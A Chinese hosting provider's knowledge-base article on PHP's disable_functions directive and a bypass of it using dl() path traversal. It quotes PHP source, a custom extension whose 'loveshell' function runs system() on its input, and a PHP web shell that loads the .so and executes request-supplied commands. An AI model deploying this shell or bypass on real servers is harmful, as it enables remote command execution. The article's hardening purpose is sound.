新睿云

> 知识库 > 如何使用PHP disable_functions指令禁用功能,以及与安全性的探讨

如何使用PHP disable_functions指令禁用功能,以及与安全性的探讨

作者/来源:新睿云小编 发布时间:2019-10-31

使用DISABLE_FUNCTIONS命令

出于安全原因,您可能要禁用某些PHP功能。例如,当  exec和system函数与未经过滤的输入值一起使用时,这样会造成严重的安全性问题。

要禁用功能,请使用文本编辑器修改php.ini文件中的disable_functions命令。该命令采用逗号分隔的列表。例如,要禁用exec和系统功能,请使用以下命令:

disable_functions = "exec, system"

如果要重新启用功能,请修改php.ini文件中的disable_functions命令,如下所示:

disable_functions = ""

要验证disable_functions命令和其他命令的当前值,可以使用phpinfo()函数。

如果想保证服务器的安全,请将这个函数加到disable_functions里或者将安全模式打开吧,在安全模式下dl函数是无条件禁止的

注意下面的突破方法:建议打开安全模式

PHP是一款功能强大应用广泛的脚本语言,很大一部分网站都是使用PHP架构的。因为其提供了强大的文件操作功能和与系统交互的功能,所以大部分的服务器都对PHP做了严格的限制,包括使用open_basedir限制可以操作的目录以及使用disable_functions限制程序使用一些可以直接执行系统命令的函数如system,exec,passthru,shell_exec,proc_open等等。但是如果服务器没有对dl()函数做限制,一样可以利用dl()函数饶过这些限制。

dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改。当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制可以被随意饶过。所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,包括系统命令。

PHP_FUNCTION(dl)

{

pval **file;

#ifdef ZTS

if ((strncmp(sapi_module.name, "cgi", 3)!=0) &&

(strcmp(sapi_module.name, "cli")!=0) &&

(strncmp(sapi_module.name, "embed", 5)!=0)) {

php_error_docref(NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers - use extension statements in your php.ini");

RETURN_FALSE;

} //验证是否可以使用dl函数,在多线程web服务器里是禁止的

#endif

/* obtain arguments */

if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &file) == FAILURE) {

WRONG_PARAM_COUNT;

}

convert_to_string_ex(file); //取得参数

if (!PG(enable_dl)) {

php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions aren't enabled");//验证是否enable_dl,默认为on

} else if (PG(safe_mode)) {

php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode");//验证是否safe_mode打开

} else {

php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //开始调用加载

EG(full_tables_cleanup) = 1;

}

下面是开始处理模块的加载

void php_dl(pval *file, int type, pval *return_value TSRMLS_DC)

{

void *handle;

char *libpath;

zend_module_entry *module_entry, *tmp;

zend_module_entry *(*get_module)(void);

int error_type;

char *extension_dir; //定义一些变量

if (type==MODULE_PERSISTENT) {

/* Use the configuration hash directly, the INI mechanism is not yet initialized */

if (cfg_get_string("extension_dir", &extension_dir)==FAILURE) {

extension_dir = PHP_EXTENSION_DIR;

}

} else {

extension_dir = PG(extension_dir);

} //取得php.ini里的设置也就是extension_dir的目录

if (type==MODULE_TEMPORARY) {

error_type = E_WARNING;

} else {

error_type = E_CORE_WARNING;

}

if (extension_dir && extension_dir[0]){

int extension_dir_len = strlen(extension_dir);

libpath = emalloc(extension_dir_len+Z_STRLEN_P(file)+2);

if (IS_SLASH(extension_dir[extension_dir_len-1])) {

sprintf(libpath, "%s%s", extension_dir, Z_STRVAL_P(file)); /* SAFE */

} else {

sprintf(libpath, "%s%c%s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); /* SAFE */

} //构造最终的so文件的位置,只是简单的附加,并没有对传入的参数做任何检查,包括open_basedir等

} else {

libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file));

}

/* load dynamic symbol */

handle = DL_LOAD(libpath); //开始真正的调用了

看到了吧,我们可以调用任意的so了哦!下一步就是编写自己的so模块,并且调用他。按照官方提供的模块编写方法,我写了个很简单的,主要的导出函数loveshell如下:

PHP_FUNCTION(loveshell)

{

char *command;

int command_len;

if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) {

WRONG_PARAM_COUNT;

}

system(command);

zend_printf("I recieve %s",command);

}

注意由于php4和php5的结构不一样,所以如果想要能顺利调用扩展,那么在php4环境下就要将上面的代码放到php4环境下编译,php5的就要在php5环境下编译。我们将编写好的扩展上传到服务器,就可以利用下面的代码执行命令了:

<?php

dl('../../../../../../../../../www/users/www.cnbct.org/loveshell.so');

$cmd=$_REQUEST[c]." 2>&1>tmp.txt";

loveshell($cmd);

echo "<br>";

echo file_get_contents('tmp.txt');

?>


热门标签
new year
在线咨询
咨询热线 400-1515-720
投诉与建议
{{item.description}}

—您的烦恼我们已经收到—

我们会将处理结果发送至您的手机

请耐心等待